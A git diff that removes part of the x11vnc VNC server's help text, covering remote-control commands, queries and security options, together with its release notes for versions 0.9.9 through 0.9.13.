- ncache_size:n set -ncache size to n.
- ncache_cr enable -ncache_cr mode.
- noncache_cr disable -ncache_cr mode.
- ncache_no_moveraise enable no_moveraise mode.
- noncache_no_moveraise disable no_moveraise mode.
- ncache_no_dtchange enable ncache_no_dtchange mode.
- noncache_no_dtchange disable ncache_no_dtchange mode.
- ncache_old_wm enable ncache_old_wm mode.
- noncache_old_wm disable ncache_old_wm mode.
- ncache_no_rootpixmap enable ncache_no_rootpixmap.
- noncache_no_rootpixmap disable ncache_no_rootpixmap.
- ncache_reset_rootpixmap recheck the root pixmap, ncrp
- ncache_keep_anims enable ncache_keep_anims.
- noncache_keep_anims disable ncache_keep_anims.
- ncache_pad:n set -ncache_pad to n.
- wireframe enable -wireframe mode. same as "wf"
- nowireframe disable -wireframe mode. same as "nowf"
- wireframe:str enable -wireframe mode string.
- wireframe_mode:str enable -wireframe mode string.
- wireframelocal enable wireframelocal. same as "wfl"
- nowireframe disable wireframelocal. same as "nowfl"
- wirecopyrect:str set -wirecopyrect string. same as "wcr:
-"
- scrollcopyrect:str set -scrollcopyrect string. same "scr
-"
- noscrollcopyrect disable -scrollcopyrect mode. "noscr"
- scr_area:n set -scr_area to n
- scr_skip:list set -scr_skip to "list"
- scr_inc:list set -scr_inc to "list"
- scr_keys:list set -scr_keys to "list"
- scr_term:list set -scr_term to "list"
- scr_keyrepeat:str set -scr_keyrepeat to "str"
- scr_parms:str set -scr_parms parameters.
- fixscreen:str set -fixscreen to "str".
- noxrecord disable all use of RECORD extension.
- xrecord enable use of RECORD extension.
- reset_record reset RECORD extension (if avail.)
- pointer_mode:n set -pointer_mode to n. same as "pm"
- input_skip:n set -input_skip to n.
- allinput enable use of -allinput mode.
- noallinput disable use of -allinput mode.
- input_eagerly enable use of -input_eagerly mode.
- noinput_eagerly disable use of -input_eagerly mode.
- ssltimeout:n set -ssltimeout to n.
- speeds:str set -speeds to str.
- wmdt:str set -wmdt to str.
- debug_pointer enable -debug_pointer, same as "dp"
- nodebug_pointer disable -debug_pointer, same as "nodp"
- debug_keyboard enable -debug_keyboard, same as "dk"
- nodebug_keyboard disable -debug_keyboard, same as "nodk"
- keycode:n inject keystroke 'keycode' (xmodmap -pk)
- keycode:n,down inject 'keycode' (down=0,1)
- keysym:str inject keystroke 'keysym' (number/name)
- keysym:str,down inject 'keysym' (down=0,1)
- ptr:x,y,mask inject pointer event x, y, button-mask
- fakebuttonevent:button,down direct XTestFakeButtonEvent.
- sleep:t sleep floating point time t.
- get_xprop:p get X property named 'p'.
- set_xprop:p:val set X property named 'p' to 'val'.
- p -> id=NNN:p for hex/dec window id.
- wininfo:id get info about X window id. use 'root'
- for root window, use +id for children.
- grab_state get state of pointer and keyboard grab.
- pointer_pos print XQueryPointer x,y cursor position.
- pointer_x print XQueryPointer x cursor position.
- pointer_y print XQueryPointer y cursor position.
- pointer_same print XQueryPointer ptr on same screen.
- pointer_root print XQueryPointer curr ptr rootwin.
- pointer_mask print XQueryPointer button and mods mask
- mouse_x print x11vnc's idea of cursor position.
- mouse_y print x11vnc's idea of cursor position.
- noop do nothing.
- defer:n set -defer to n ms,same as deferupdate:n
- wait:n set -wait to n ms.
- extra_fbur:n set -extra_fbur to n.
- wait_ui:f set -wait_ui factor to f.
- setdefer:n set -setdefer to -2,-1,0,1, or 2.
- wait_bog disable -nowait_bog mode.
- nowait_bog enable -nowait_bog mode.
- slow_fb:f set -slow_fb to f seconds.
- xrefresh:f set -xrefresh to f seconds.
- readtimeout:n set read timeout to n seconds.
- nap enable -nap mode.
- nonap disable -nap mode.
- sb:n set -sb to n s, same as screen_blank:n
- fbpm disable -nofbpm mode.
- nofbpm enable -nofbpm mode.
- dpms disable -nodpms mode.
- nodpms enable -nodpms mode.
- forcedpms enable -forcedpms mode.
- noforcedpms disable -forcedpms mode.
- clientdpms enable -clientdpms mode.
- noclientdpms disable -clientdpms mode.
- noserverdpms enable -noserverdpms mode.
- serverdpms disable -noserverdpms mode.
- noultraext enable -noultraext mode.
- ultraext disable -noultraext mode.
- chatwindow enable local chatwindow mode.
- nochatwindow disable local chatwindow mode.
- chaton begin chat using local window.
- chatoff end chat using local window.
- xdamage enable xdamage polling hints.
- noxdamage disable xdamage polling hints.
- xd_area:A set -xd_area max pixel area to "A"
- xd_mem:f set -xd_mem remembrance to "f"
- fs:frac set -fs fraction to "frac", e.g. 0.5
- gaps:n set -gaps to n.
- grow:n set -grow to n.
- fuzz:n set -fuzz to n.
- snapfb enable -snapfb mode.
- nosnapfb disable -snapfb mode.
- rawfb:str set -rawfb mode to "str".
- uinput_accel:f set uinput_accel to f.
- uinput_thresh:n set uinput_thresh to n.
- uinput_reset:n set uinput_reset to n ms.
- uinput_always:n set uinput_always to 1/0.
- progressive:n set LibVNCServer -progressive slice
- height parameter to n.
- desktop:str set -desktop name to str for new clients
-.
- rfbport:n set -rfbport to n.
- macnosaver enable -macnosaver mode.
- macsaver disable -macnosaver mode.
- macnowait enable -macnowait mode.
- macwait disable -macnowait mode.
- macwheel:n set -macwheel to n.
- macnoswap enable -macnoswap mouse button mode.
- macswap disable -macnoswap mouse button mode.
- macnoresize enable -macnoresize mode.
- macresize disable -macnoresize mode.
- maciconanim:n set -maciconanim to n.
- macmenu enable -macmenu mode.
- macnomenu disable -macmenu mode.
- macuskbd enable -macuskbd mode.
- macnouskbd disable -macuskbd mode.
- httpport:n set -httpport to n.
- httpdir:dir set -httpdir to dir (and enable http).
- enablehttpproxy enable -enablehttpproxy mode.
- noenablehttpproxy disable -enablehttpproxy mode.
- alwaysshared enable -alwaysshared mode.
- noalwaysshared disable -alwaysshared mode.
- (may interfere with other options)
- nevershared enable -nevershared mode.
- nonevershared disable -nevershared mode.
- (may interfere with other options)
- dontdisconnect enable -dontdisconnect mode.
- nodontdisconnect disable -dontdisconnect mode.
- (may interfere with other options)
- debug_xevents enable debugging X events.
- nodebug_xevents disable debugging X events.
- debug_xdamage enable debugging X DAMAGE mechanism.
- nodebug_xdamage disable debugging X DAMAGE mechanism.
- debug_wireframe enable debugging wireframe mechanism.
- nodebug_wireframe disable debugging wireframe mechanism.
- debug_scroll enable debugging scrollcopy mechanism.
- nodebug_scroll disable debugging scrollcopy mechanism.
- debug_tiles enable -debug_tiles
- nodebug_tiles disable -debug_tiles
- debug_grabs enable -debug_grabs
- nodebug_grabs disable -debug_grabs
- debug_sel enable -debug_sel
- nodebug_sel disable -debug_sel
- debug_ncache enable -debug_ncache
- nodebug_ncache disable -debug_ncache
- dbg enable -dbg crash shell
- nodbg disable -dbg crash shell
-
- noremote disable the -remote command processing,
- it cannot be turned back on.
-
- bcx_xattach:str This remote control command is for
- use with the BARCO xattach program or the x2x program.
- Both of these programs are for 'pointer and keyboard'
- sharing between separate X displays. In general the
- two displays are usually nearby, e.g. on the same desk,
- and this allows the user to share a single pointer and
- keyboard between them. The user moves the mouse to
- an edge and then the mouse pointer appears to 'jump'
- to the other display screen. Thus it emulates what a
- single X server would do for two screens (e.g. :0.0 and
- :0.1) The illusion of a single Xserver with multiple
- screens is achieved by forwarding events to the 2nd
- one via the XTEST extension.
-
- What the x11vnc bcx_xattach command does is to perform
- some pointer movements to try to INDUCE xattach/x2x
- to 'jump' to the other display. In what follows the
- 'master' display refers to the one that when it has
- 'focus' it is basically doing nothing besides watching
- for the mouse to go over an edge. The 'slave'
- display refers to the one to which the mouse and
- keyboard is redirected to once an edge in the master
- has been crossed. Note that the x11vnc executing the
- bcx_xattach command MUST be the one connected to the
- *master* display.
-
- Also note that when input is being redirected (via
- XTEST) from the master display to the slave display,
- the master display's pointer and keyboard are *grabbed*
- by xattach/x2x. x11vnc can use this info to verify that
- the master/slave mode change has taken place correctly.
- If you specify the "ifneeded" option (see below)
- and the initial grab state is that of the desired
- final state, then no pointer movements are injected
- and "DONE,GRAB_OK" is returned.
-
- "str" must contain one of "up", "down", "left",
- or "right" to indicate the direction of the 'jump'.
- "str" must also contain one of "master_to_slave"
- or "slave_to_master" to indicate the type of mode
- change induced by the jump. Use "M2S" and "S2M"
- as shorter aliases.
-
- "str" may be a "+" separated list of additional
- tuning options. The "shift=n" option indicates an
- offset shift position away from (0,0) (default 20).
- "final=x+y" specifies the final position of the cursor
- at the end of the normal move sequence; default 30+30.
- "extra_move=x+y" means to do one more pointer move
- after "final" to x+y. "dt=n" sets the sleep time
- in milliseconds between pointer moves (default: 40ms)
- "retry=n" specifies the maximum number of retries if
- the grab state change fails. "ifneeded" means to not
- apply the pointer movements if the initial grab state is
- that of the desired final state. "nograbcheck" means
- to not check if the grab state changed as expected and
- only apply the pointer movements (default is to check
- the grab states.)
-
- If you do not specify "up", etc., to bcx_xattach
- nothing will be attempted and the command returns
- the string FAIL,NO_DIRECTION_SPECIFIED. If you do
- not specify "master_to_slave" or "M2S", etc., to
- bcx_xattach nothing will be attempted and the command
- returns the string FAIL,NO_MODE_CHANGE_SPECIFIED.
-
- Otherwise, the returned string will contain "DONE".
- It will be "DONE,GRAB_OK" if the grab state changed
- as expected (or if "ifneeded" was supplied and
- the initial grab state was already the desired
- one.) If the initial grab state was incorrect,
- but the final grab state was correct then it is
- "DONE,GRAB_FAIL_INIT". If the initial grab state
- was correct, but the final grab state was incorrect
- then it is "DONE,GRAB_FAIL_FINAL". If both are
- incorrect it will be "DONE,GRAB_FAIL". Under grab
- failure the string will be followed by ":p1,k1-p2,k2"
- where p1,k1 indicates the initial pointer and keyboard
- grab states and p2,k2 the final ones. If GRAB_FAIL or
- GRAB_FAIL_FINAL occurs, the action will be retried up
- to 3 times; trying to reset the state and sleeping a
- bit between each try. Set retry=n to adjust the number
- of retries, zero to disable retries.
-
- Examples:
- -R bcx_xattach:down+M2S
- -R bcx_xattach:up+S2M
- -R bcx_xattach:up+S2M+nograbcheck+dt=30
- -R bcx_xattach:down+M2S+extra_move=100+100
-
- or use -Q instead of -R to retrieve the result text.
-
- End of the bcx_xattach:str description.
-
- The vncconnect(1) command from standard VNC
- distributions may also be used if string is prefixed
- with "cmd=" E.g. 'vncconnect cmd=stop'. Under some
- circumstances xprop(1) can used if it supports -set
- (see the FAQ).
-
- If "-connect /path/to/file" has been supplied to the
- running x11vnc server then that file can be used as a
- communication channel (this is the only way to remote
- control one of many x11vnc's polling the same X display)
- Simply run: 'x11vnc -connect /path/to/file -remote ...'
- or you can directly write to the file via something
- like: "echo cmd=stop > /path/to/file", etc.
-
--query variable Like -remote, except just query the value of
- "variable". "-Q" is an alias for "-query".
- Multiple queries can be done by separating variables
- by commas, e.g. -query var1,var2. The results come
- back in the form ans=var1:value1,ans=var2:value2,...
- to the standard output. If a variable is read-only,
- it comes back with prefix "aro=" instead of "ans=".
-
- Some -remote commands are pure actions that do not make
- sense as variables, e.g. "stop" or "disconnect", in
- these cases the value returned is "N/A". To direct a
- query straight to the X11VNC_REMOTE property or connect
- file use "qry=..." instead of "cmd=..."
-
- ans= stop quit exit shutdown ping resend_cutbuffer
- resend_clipboard resend_primary blacken zero refresh
- reset close disconnect id_cmd id sid waitmapped
- nowaitmapped clip flashcmap noflashcmap shiftcmap
- truecolor notruecolor overlay nooverlay overlay_cursor
- overlay_yescursor nooverlay_nocursor nooverlay_cursor
- nooverlay_yescursor overlay_nocursor 8to24 no8to24
- 8to24_opts 24to32 no24to32 visual scale scale_cursor
- viewonly noviewonly shared noshared forever noforever
- once timeout tightfilexfer notightfilexfer ultrafilexfer
- noultrafilexfer rfbversion deny lock nodeny unlock avahi
- mdns zeroconf noavahi nomdns nozeroconf connect proxy
- allowonce allow noipv6 ipv6 noipv4 ipv4 no6 6 localhost
- nolocalhost listen lookup nolookup accept afteraccept
- gone shm noshm flipbyteorder noflipbyteorder onetile
- noonetile solid_color solid nosolid blackout xinerama
- noxinerama xtrap noxtrap xrandr noxrandr xrandr_mode
- rotate padgeom quiet q noquiet modtweak nomodtweak xkb
- noxkb capslock nocapslock skip_lockkeys noskip_lockkeys
- skip_keycodes sloppy_keys nosloppy_keys skip_dups
- noskip_dups add_keysyms noadd_keysyms clear_mods
- noclear_mods clear_keys noclear_keys clear_all
- clear_locks keystate remap repeat norepeat fb nofb bell
- nobell sendbell sel nosel primary noprimary setprimary
- nosetprimary clipboard noclipboard setclipboard
- nosetclipboard seldir cursorshape nocursorshape
- cursorpos nocursorpos cursor_drag nocursor_drag cursor
- show_cursor noshow_cursor nocursor arrow xfixes noxfixes
- xdamage noxdamage xd_area xd_mem alphacut alphafrac
- alpharemove noalpharemove alphablend noalphablend
- xwarppointer xwarp noxwarppointer noxwarp always_inject
- noalways_inject buttonmap dragging nodragging ncache_cr
- noncache_cr ncache_no_moveraise noncache_no_moveraise
- ncache_no_dtchange noncache_no_dtchange
- ncache_no_rootpixmap noncache_no_rootpixmap
- ncache_reset_rootpixmap ncrp ncache_keep_anims
- noncache_keep_anims ncache_old_wm noncache_old_wm
- ncache_pad ncache noncache ncache_size debug_ncache
- nodebug_ncache wireframe_mode wireframe wf nowireframe
- nowf wireframelocal wfl nowireframelocal nowfl
- wirecopyrect wcr nowirecopyrect nowcr scr_area
- scr_skip scr_inc scr_keys scr_term scr_keyrepeat
- scr_parms scrollcopyrect scr noscrollcopyrect
- noscr fixscreen noxrecord xrecord reset_record
- pointer_mode pm input_skip allinput noallinput
- input_eagerly noinput_eagerly input grabkbd nograbkbd
- grabptr nograbptr grabalways nograbalways grablocal
- client_input ssltimeout speeds wmdt debug_pointer dp
- nodebug_pointer nodp debug_keyboard dk nodebug_keyboard
- nodk keycode keysym ptr fakebuttonevent sleep get_xprop
- set_xprop wininfo bcx_xattach deferupdate defer
- setdefer extra_fbur wait_ui wait_bog nowait_bog
- slow_fb xrefresh wait readtimeout nap nonap sb
- screen_blank fbpm nofbpm dpms nodpms clientdpms
- noclientdpms forcedpms noforcedpms noserverdpms
- serverdpms noultraext ultraext chatwindow nochatwindow
- chaton chatoff fs gaps grow fuzz snapfb nosnapfb
- rawfb uinput_accel uinput_thresh uinput_reset
- uinput_always progressive rfbport http nohttp httpport
- httpdir enablehttpproxy noenablehttpproxy alwaysshared
- noalwaysshared nevershared noalwaysshared dontdisconnect
- nodontdisconnect desktop debug_xevents nodebug_xevents
- debug_xevents debug_xdamage nodebug_xdamage
- debug_xdamage debug_wireframe nodebug_wireframe
- debug_wireframe debug_scroll nodebug_scroll debug_scroll
- debug_tiles dbt nodebug_tiles nodbt debug_tiles
- debug_grabs nodebug_grabs debug_sel nodebug_sel dbg
- nodbg macnosaver macsaver nomacnosaver macnowait macwait
- nomacnowait macwheel macnoswap macswap nomacnoswap
- macnoresize macresize nomacnoresize maciconanim macmenu
- macnomenu nomacmenu macuskbd nomacuskbd noremote
-
- aro= noop display vncdisplay icon_mode autoport
- loop loopbg desktopname guess_desktop guess_dbus
- http_url auth xauth users rootshift clipshift scale_str
- scaled_x scaled_y scale_numer scale_denom scale_fac_x
- scale_fac_y scaling_blend scaling_nomult4 scaling_pad
- scaling_interpolate inetd privremote unsafe safer nocmds
- passwdfile unixpw unixpw_nis unixpw_list ssl ssl_pem
- sslverify stunnel stunnel_pem https httpsredir usepw
- using_shm logfile o flag rmflag rc norc h help V version
- lastmod bg sigpipe threads readrate netrate netlatency
- pipeinput clients client_count pid ext_xtest ext_xtrap
- ext_xrecord ext_xkb ext_xshm ext_xinerama ext_overlay
- ext_xfixes ext_xdamage ext_xrandr rootwin num_buttons
- button_mask mouse_x mouse_y grab_state pointer_pos
- pointer_x pointer_y pointer_same pointer_root
- pointer_mask bpp depth indexed_color dpy_x dpy_y wdpy_x
- wdpy_y off_x off_y cdpy_x cdpy_y coff_x coff_y rfbauth
- passwd viewpasswd
-
--QD variable Just like -query variable, but returns the default
- value for that parameter (no running x11vnc server
- is consulted)
-
--sync By default -remote commands are run asynchronously, that
- is, the request is posted and the program immediately
- exits. Use -sync to have the program wait for an
- acknowledgement from the x11vnc server that command was
- processed (somehow). On the other hand -query requests
- are always processed synchronously because they have
- to wait for the answer.
-
- Also note that if both -remote and -query requests are
- supplied on the command line, the -remote is processed
- first (synchronously: no need for -sync), and then
- the -query request is processed in the normal way.
- This allows for a reliable way to see if the -remote
- command was processed by querying for any new settings.
- Note however that there is timeout of a few seconds
- (see the next paragraph) so if the x11vnc takes longer
- than that to process the requests the requester will
- think that a failure has taken place.
-
- The default is to wait 3.5 seconds. Or if cmd=stop
- only 1.0 seconds. If cmd matches 'script:' then it
- will wait up to 10.0 seconds. Set X11VNC_SYNC_TIMEOUT
- to the number of seconds you want it to wait.
-
--query_retries str If a query fails to get a response from an x11vnc
- server, retry up to n times. "str" is specified as
- n[:t][/match] Optionally the delay between tries may
- be specified by "t" a floating point time (default
- 0.5 seconds.) Note: the response is not checked for
- validity or whether it corresponds to the query sent.
- The query "ping:mystring" may be used to help uniquely
- identify the query. Optionally, a matching string after
- a "/" will be used to check the result text. Up to
- n retries will take place until the matching string is
- found in the output text. If the match string is never
- found the program's exit code is 1; if the match is
- found it exits with 0. Note that there may be stdout
- printed for each retry (i.e. multiple lines printed
- out to stdout.)
- Example: -query_retries 4:1.5/grab_state
-
--remote_prefix str Enable a remote-control communication channel for
- connected VNC clients. str is a non-empty string. If a
- VNC client sends rfbCutText having the prefix "str"
- then the part after it is processed as though it were
- sent via 'x11vnc -remote ...'. If it begins with
- neither 'cmd=' nor 'qry=' then 'qry=' is assumed.
- Any corresponding output text for that remote control
- command is sent back to all client as rfbCutText.
- The returned output is also prefixed with "str".
- Example: -remote_prefix DO_THIS:
-
- Note that enabling -remote_prefix allows the remote
- VNC viewers to run x11vnc -remote commands. Do not
- use this option if they are not to be trusted.
-
--noremote Do not process any remote control commands or queries.
--yesremote Do process remote control commands or queries.
- Default: -yesremote
-
- A note about security wrt remote control commands.
- If someone can connect to the X display and change
- the property X11VNC_REMOTE, then they can remotely
- control x11vnc. Normally access to the X display is
- protected. Note that if they can modify X11VNC_REMOTE
- on the X server, they have enough permissions to also
- run their own x11vnc and thus have complete control
- of the desktop. If the "-connect /path/to/file"
- channel is being used, obviously anyone who can write
- to /path/to/file can remotely control x11vnc. So be
- sure to protect the X display and that file's write
- permissions. See -privremote below.
-
- If you are paranoid and do not think -noremote is
- enough, to disable the X11VNC_REMOTE property channel
- completely use -novncconnect, or use the -safer option
- that shuts many things off.
-
--unsafe A few remote commands are disabled by default
- (currently: id:pick, accept:<cmd>, gone:<cmd>, and
- rawfb:setup:<cmd>) because they are associated with
- running external programs. If you specify -unsafe, then
- these remote-control commands are allowed. Note that
- you can still specify these parameters on the command
- line, they just cannot be invoked via remote-control.
--safer Equivalent to: -novncconnect -noremote and prohibiting
- -gui and the -connect file. Shuts off communcation
- channels.
--privremote Perform some sanity checks and disable remote-control
- commands if it appears that the X DISPLAY and/or
- connectfile can be accessed by other users. Once
- remote-control is disabled it cannot be turned back on.
--nocmds No external commands (e.g. system(3), popen(3), exec(3))
- will be run at all.
--allowedcmds list "list" contains a comma separated list of the only
- external commands that can be run. The full list of
- associated options is:
-
- stunnel, ssl, unixpw, WAIT, zeroconf, id, accept,
- afteraccept, gone, pipeinput, v4l-info, rawfb-setup,
- dt, gui, ssh, storepasswd, passwdfile, custom_passwd,
- findauth, crash.
-
- See each option's help to learn the associated external
- command. Note that the -nocmds option takes precedence
- and disables all external commands.
-
--deny_all For use with -remote nodeny: start out denying all
- incoming clients until "-remote nodeny" is used to
- let them in.
-
-
-
-These options are passed to LibVNCServer:
-
--rfbport port TCP port for RFB protocol
--rfbwait time max time in ms to wait for RFB client
--rfbauth passwd-file use authentication on RFB protocol
- (use 'storepasswd' to create a password file)
--rfbversion 3.x Set the version of the RFB we choose to advertise
--permitfiletransfer permit file transfer support
--passwd plain-password use authentication
- (use plain-password as password, USE AT YOUR RISK)
--deferupdate time time in ms to defer updates (default 40)
--deferptrupdate time time in ms to defer pointer updates (default none)
--desktop name VNC desktop name (default "LibVNCServer")
--alwaysshared always treat new clients as shared
--nevershared never treat new clients as shared
--dontdisconnect don't disconnect existing clients when a new non-shared
- connection comes in (refuse new connection instead)
--httpdir dir-path enable http server using dir-path home
--httpport portnum use portnum for http connection
--enablehttpproxy enable http proxy support
--progressive height enable progressive updating for slow links
--listen ipaddr listen for connections only on network interface with
- addr ipaddr. '-listen localhost' and hostname work too.
-
-libvncserver-tight-extension options:
--disablefiletransfer disable file transfer
--ftproot string set ftp root
-
- Pretty wild huh? Contact me if you have any questions or problems.
-
- Personally, I use:
-x11vnc -rfbauth $HOME/.vnc/passwd -solid
diff --git a/x11vnc/RELEASE-NOTES b/x11vnc/RELEASE-NOTES
deleted file mode 100644
index 0d5c4b9..0000000
--- a/x11vnc/RELEASE-NOTES
+++ /dev/null
@@ -1,1553 +0,0 @@
-
-x11vnc 0.9.13 2010-12-20
-
-New in the 0.9.13 x11vnc release:
-
- Improved support for non-X11 touchscreen devices (e.g. handheld or
- cell phone) via Linux uinput input injection. Additional
- tuning parameters are added. TSLIB touchscreen calibration
- is supported. Tested on Qtmoko Neo Freerunner.
-
- A tool, misc/uinput.pl, is provided to diagnose uinput
- behavior on new devices.
-
- The env. vars. X11VNC_UINPUT_BUS and X11VNC_UINPUT_VERSION
- are available if leaving them unset does not work.
-
- The Linux uinput non-X11 input injection can now be bypassed:
- events can be directly written to the /dev/input/event
- devices specified by the user (direct_abs=..., etc.)
-
- A -pipeinput input injection helper script,
- misc/qt_tslib_inject.pl is provided as a tweakable
- non-builtin direct input injection method.
-
- The list of new uinput parameters for the above two features is:
- pressure, tslib_cal, touch_always, dragskip, btn_touch;
- direct_rel, direct_abs, direct_btn, direct_key.
-
- The included SSL enabled Java VNC Viewers now handle Mouse
- Wheel events.
-
-
- miscellaneous new features and changes:
-
- In -reflect mode, the libvncclient connection can now have
- the pixel format modified via the environment
- variables X11VNC_REFLECT_bitsPerSample,
- X11VNC_REFLECT_samplesPerPixel, and
- X11VNC_REFLECT_bytesPerPixel
-
- In -create mode the following environment variables are added
- to fine tune the behavior: FIND_DISPLAY_NO_LSOF:
- do not use lsof(1) to try to determine the Linux VT,
- FIND_DISPLAY_NO_VT_FIND: do not try to determine the
- Linux VT at all, X11VNC_CREATE_LC_ALL_C_OK: do not bother
- undoing the setting LC_ALL=C that the create_display
- script sets. The performance of the -create script
- has been improved for large installations (100's of
- user sessions on one machine.)
-
- In -unixpw mode, one can now Tab from login: to Password.
-
- An environment variable, X11VNC_SB_FACTOR, allows one to scale
- the -sb screenblank sleep time from the default 2 secs.
-
- In -rawfb mode, a bug is fixed in setting the number of bits
- per pixel.
-
- Documented that -grabkbd is no longer working with some/most
- window managers (it can prevent resizing and menu posting.)
-
- The macosx deprecated interface GetMainDevice() call is removed.
- Compile with -DX11VNC_MACOSX_USE_GETMAINDEVICE if needed
- for an old macosx version...
-
- Miscellaneous code cleanup.
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.12 2010-09-10
-
-New in the 0.9.12 x11vnc release:
-
- One can now specify the maximum number of displays
- that can be created in -create mode via the
- env. var. X11VNC_CREATE_MAX_DISPLAYS
-
- The X11VNC_NO_LIMIT_SHM env. var. is added to skip any
- automatic shared memory reduction.
-
- The kdm display manager is now detected when trying not to get
- killed by the display manager.
-
- miscellaneous new features and changes:
-
- A compile error is fixed when using --with-system-libvncserver
- pointing to LibVNCServer 0.9.7.
-
- -nevershared -forever usage mode is documented.
-
- Old SuSE broken thread local storage is documented.
-
- x11vnc exit cases are documented.
-
- A compile bug from forced use of Xdefs.h is worked around.
-
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.11 2010-08-08
-
-New in the 0.9.11 x11vnc release:
-
- The source tree is synchronized with the most recent libvncclient
- (this only affects -reflect mode.) The build is fixed
- for incompatibilities when using an external LibVNCServer
- (e.g. ./configure --with-system-libvncserver...)
-
- The SSL enabled Java VNC Viewer Makefile has been modified so
- that the jar files that are built are compatible back
- to Java 1.4.
-
- In -reflect mode cursor position updates are now handled
- correctly.
-
- In -create/-unixpw mode, the env. var. FD_USERPREFS may be set
- to a filename in the user's home directory that includes
- default username:options values (so the options do not
- need to be typed every time at the login prompt.)
-
- miscellaneous new features and changes:
-
- An option -always_inject is provided: Even if there is no
- displacement (dx = dy = 0) for a VNC mouse event force
- the pointer to the indicated x,y position anyway.
-
- New java viewer debugging and workaround applet parameters:
- debugKeyboard mapF5_to_atsign forbid_Ctrl_Alt
-
- You can set X11VNC_AVAHI_NAME, X11VNC_AVAHI_HOST, and/or
- X11VNC_AVAHI_PORT environment variables to override the
- default values. For example: -env X11VNC_AVAHI_NAME=wally
-
- When opening the X11 display extra XAUTHLOCALHOSTNAME settings
- are attempted.
-
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.10 2010-05-03
-
-New in the 0.9.10 x11vnc release:
-
- IPv6 is now supported for all usage modes: forward and reverse
- connections, SSL and unencrypted, etc.
-
- The included SSL enabled Java VNC viewer applet now supports
- Chained SSL Certificates (x11vnc -ssl always has.)
- The applet autodects x11vnc and set GET=1 for faster
- connecting via HTTPS.
-
- A demo CGI script 'desktop.cgi' shows how to create an
- SSL encrypted, multi-user x11vnc web login desktop
- service. The user logs into a secure web site and gets
- his/her own virtual desktop and his browser accesses it
- with the SSL Java VNC Viewer applet.
-
- A serverCert Java Viewer applet parameter is provided.
- Use an authenticated HTTPS browser connection to set
- this parameter (the user could set it locally too.)
- The onetimekey tool has -certonly option for this scheme.
-
- The Xdummy script (use Xorg 'dummy' driver instead of Xvfb)
- no longer requires being run as root.
-
-
- miscellaneous new features and changes:
-
- In the Java viewer applet, debugCerts and debugKeyboard parameters
- are provided. The debugging output of the applet is more
- readable. Some corner-case bugs (e.g. socket exceptions)
- are now handled gracefully. Parameters forbid_Ctrl_Alt
- and mapF5_to_atsign are added.
-
- The amount of time to wait for HTTPS applet downloads to finish
- can be set in env. var. X11VNC_HTTPS_DOWNLOAD_WAIT_TIME.
-
- The -xkb mode is automatically enabled if there are more than
- 4 keysyms per key.
-
- -coe is now an alias for -connect_or_exit.
-
- The -input_eagerly option enables this LibVNCServer feature
- (it is like -allinput.)
-
- The "%" unix password verification tricks for the -unixpw
- option are now documented. They also run a command
- in UNIXPW_CMD.
-
- In -create (-svc, etc.) modes, a warning is printed out if Xvfb
- cannot be found. Xvfb '+kb' option is checked for.
- The -env CREATE_DISPLAY_OUTPUT=/tmp/mydebug.txt debugging
- option is documented. Try to preserve user's PATH
- if possible.
-
- In XDMCP connection mode, a test for GDM listening only
- on IPv6 (::1) is performed. The interface can also be
- specified via FD_XDMCP_IF.
-
- The example scripts connect_switch, ultravnc_repeater.pl, inet6to4
- have settings to let them run reliably for long times
- as daemons. They also support IPv6.
-
- IPv6 notes: for some very esoteric cases (e.g. -chatwindow)
- IPv4 localhost may be required for local IPC. A demo
- transition tool 'inet6to4' is also included (can be
- used for other apps.) x11vnc options related to IPv6:
- -listen6, -6, -no6, -noipv4, -noipv6, and -connect,
- -proxy.
-
- Use STUNNEL_LISTEN in -stunnel mode to have it listen on a
- particular interface. Also STUNNEL_PROG.
-
- New remote control query options: pointer_x, pointer_y,
- pointer_same, pointer_root, and pointer_mask. A demo
- script using them misc/panner.pl is provided.
-
- Remote control change of -clip option will not create new
- framebuffer if the size has not changed (for panner.pl)
-
- The X11VNC_DISABLE_SSL_CLIENT_MODE env. var. can be set to
- disable SSL client role in reverse connections. This
- means the VNC viewer side must be in SSL client role.
- UltraVNC repeater operation can benefit from this.
-
- The SSL_INIT_TIMEOUT is increased to 1 hour if 'repeater'
- is detected in a reverse connect string.
-
- The X property X11VNC_TRAP_XRANDR can be set on a desktop to
- force x11vnc to use the -xrandr screen size change
- trapping code.
-
- The -sslScripts option prints out the SSL certificate management
- scripts.
-
- Suggest '-auth guess' and '-findauth' if X connection fails.
-
- The TightVNC sercurity type (TightVNC features enabler) now
- works for RFB version 3.8.
-
- RECORD scroll detection is now working with the new gtk/gdk scroll
- mechanism. Set X11VNC_SCROLL_MUST_EQUAL to disable.
-
-
-For more information:
-
- http://www.karlrunge.com/x11vnc/
- http://www.karlrunge.com/x11vnc/x11vnc_opts.html
- x11vnc -help | less
-
------------------------------------------------------------------------------
-
-
-x11vnc 0.9.9 2009-12-21
-
-
-
-New in the 0.9.9 x11vnc release:
-
- A new option -findauth runs the FINDDISPLAY script that applies
- heuristics to try to determine the correct XAUTHORITY
- file. The use of '-auth guess' will use the XAUTHORITY
- that -findauth reveals. This can be handy in with
- the lastest GDM where the ability to store cookies in
- ~/.Xauthority has been removed.
-
- If x11vnc is running as root (e.g. inetd or XDM/GDM/KDM)
- the FD_XDM=1 mode will be tried if the above -findauth
- or '-auth guess' command fails; it will find the
- correct XAUTHORITY for the given display (this works for
- XDM/GDM/KDM if the login greeter panel is up or if someone
- has already logged into an X session.) You can also
- set -env FD_XDM=1 to force it to be done on the first try.
-
- The -unixpw_system_greeter option, when used in combined
- unixpw and XDMCP FINDCREATEDISPLAY mode (e.g. -xdmsvc),
- enables the user to press Escape to jump directly to the
- XDM/GDM/KDM login greeter screen. This way the user
- avoids entering his unix password twice at X session
- creation time. For subseqent logins to the same session,
- he uses the regular x11vnc unixpw "login:" prompt. Also,
- the unixpw login panel now has a short help displayed
- if the user presses 'F1' that lists the options.
-
- The -appshare option enables simple application sharing based on
- the -id/-sid mechanism. Every new toplevel window that
- the application creates induces a new viewer window via
- a reverse connection. The -id/-sid and -connect options
- are required. Run 'x11vnc -appshare -help' for more info.
-
- Heuristics are applied to try to determine if the X display
- is currently in a Display Manager Greeter Login panel
- (e.g. GDM.) If so, x11vnc's creation of any windows and
- use of XFIXES are delayed.
-
- This is to try to avoid x11vnc being killed after the user
- logs in if the GDM KillInitClients=true is in effect.
- So one no longer needs to set KillInitClients=false in
- gdm.conf. Note that in recent GDM the KillInitClients
- option has been removed.
-
